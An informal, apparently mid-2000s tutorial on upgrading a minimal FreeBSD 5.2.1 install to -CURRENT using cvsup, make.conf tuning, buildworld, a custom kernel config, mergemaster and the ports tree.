CVS up; you up; we all CVSUP. Cvsup is a very interesting program that I am not going to explain in detail here. All you really need to know is that it updates source trees. You see, that is the thing. You may be used to /usr/src not doing much. In BSD it has a job, it holds the source for the entire base system. However, we did a minimal install and no source is there. It wouldn't be up2date anyway. So, lets fix that. Login as root and type the following: pkg_add -r cvsup-without-gui

pkg_add is the binary installer for FreeBSD and the -r argument tells it to fetch binaries from the net. It will also fetch any deps that you might need. Switch to another console while this is happening and login as root. Do the following:

cd /etc

cp /usr/share/examples/etc/make.conf /etc/make.conf

cp /usr/share/examples/cvsup/standard-supfile /usr

cp /usr/share/examples/cvsup/ports-supfile /usr

chmod u+w /etc/make.conf /usr/standard-supfile /usr/ports-supfile

What was that? Well here is the rundown. Make.conf is the file that controls the building of programs from source on FreeBSD and the supfiles tell cvsup where to get the source for the base system and the ports system, also where to put said source. They come out of /usr/share/examples without the write bit set and that gets annoying. So we set that. Now switch back to the first console and type rehash. This tells tcsh to check its path for new programs. Now, edit the standard supfile that is in /usr. You can either use ee or vi. I like vi. Scroll down to the line that looks a bit odd. It will be something like:

*default host=CHANGE_THIS.FreeBSD.org

The "CHANGE_THIS" is where you put what cvsup server to use. Choose a number between 1 and 9, like 4, and put cvsup4 where CHANGE_THIS is. So it would end up being:

*default host=cvsup4.FreeBSD.org

Now exit your editor and run cvsup /usr/standard-supfile

If everything goes correctly, you will see a lot of text scrolling on the screen. If it says something about a bad connection, try another number.

Make.conf

Now 'tis the time for all good men (and women) to edit their make.conf . This is not difficult, in fact have a look around the file. It may be long, but it is pretty simple. Now, uncomment the CPU setting and the CFLAGS setting. Set the CPU to your CPU (there will be a list in the comments above the setting) and set the CFLAGS to -O2. (NOTE: If the base system fails to build, downgrade your CFLAGS back to -O).

Build Your World

When CVSUP finishes (it will be awhile...go get some coffee), cd to /usr/src and run make buildworld. That command will do exactly what it sounds like. It builds your world, or base system. While its doing that, lets get you a kernel. First, cd to /usr/src/sys/i386/conf then cp GENERIC to some file of your choosing. Any name you want. However, be aware that this is going to show up in a uname -a. Now, crack open your new file and take a look at what a FreeBSD kernel config is like. There are many things you can do here that will improve performance and subtract in size. However, lets keep it simple. Near the top of the file will be the name GENERIC. Change that to your new name. You can now look through the file and you will find several sections that are just for debugging. These will indeed add size and slow down the kernel a bit, but I would leave them for now. Go to the end of the file and make a new line. Add the following:

device pcm

This will add sound support to the kernel. Be aware that you don't need to do this, you can load binary modules at boot or after boot, but this way is easy and sound is used often. Save the file and exit. Go back to your buildworld console and when its done execute make buildkernel KERNCONF=YOUR_KERNEL_CONFIG_NAME

NOTE: NOT THE PATH OF THE KERNEL CONFIG..it knows to look in /usr/src/sys/i386/conf

Installing Your World

This isn't that difficult. First run make installkernel KERNCONF= your config name. Now here is the interesting part. Run mergemaster -p, this program looks through your etc and updates it to match the new /etc in /usr/src. It will display changed files to you, press q and it will give you options. Something like i (install), m (merge) etc. Pick merge and it will open a nice little screen that shows you one file on the right and one on the left. It will go section by section, showing the areas that have changed. Press r or l to choose which section to keep. Its pretty easy to see which section has new stuff and which does not. After the merge, it will prompt you with options for the newly merged file. One of these will be install and this is the one you want. In the latest current, most of what you will be showed is user and group files. Make sure you do select the sections with the new users and groups. After this is done, it will ask you a couple questions that you can say yes to. Now that your /etc is updated run make installworld then reboot.

NOTE: You usually don't need to run mergemaster. However, 5.2.1 is a pretty old release and -CURRENT has come a long way.

I. Ports

Welcome to running current. The rest is easy. cd back to /usr and edit the ports supfile the same way you did the standard one. Run cvsup on it and wait. After its done, you will have a full ports tree. There is not much left to say. You now have a working system and a fully updated one too. To install software from ports cd to /usr/ports/category/softwarename/ and run make install clean . If you want linux binary support, install the linux_base port. To find where it is cd to /usr/ports and run make search name=linux_base | less . Enable loading the kernel modules for linux binary support by editing /etc/rc.conf. Just add the line linux_enable="YES" to the file and your set. If this is a desktop system, I would recommend installing /usr/ports/x11/xorg and your choice of /usr/ports/x11/gnome2 or kde3. Have fun .

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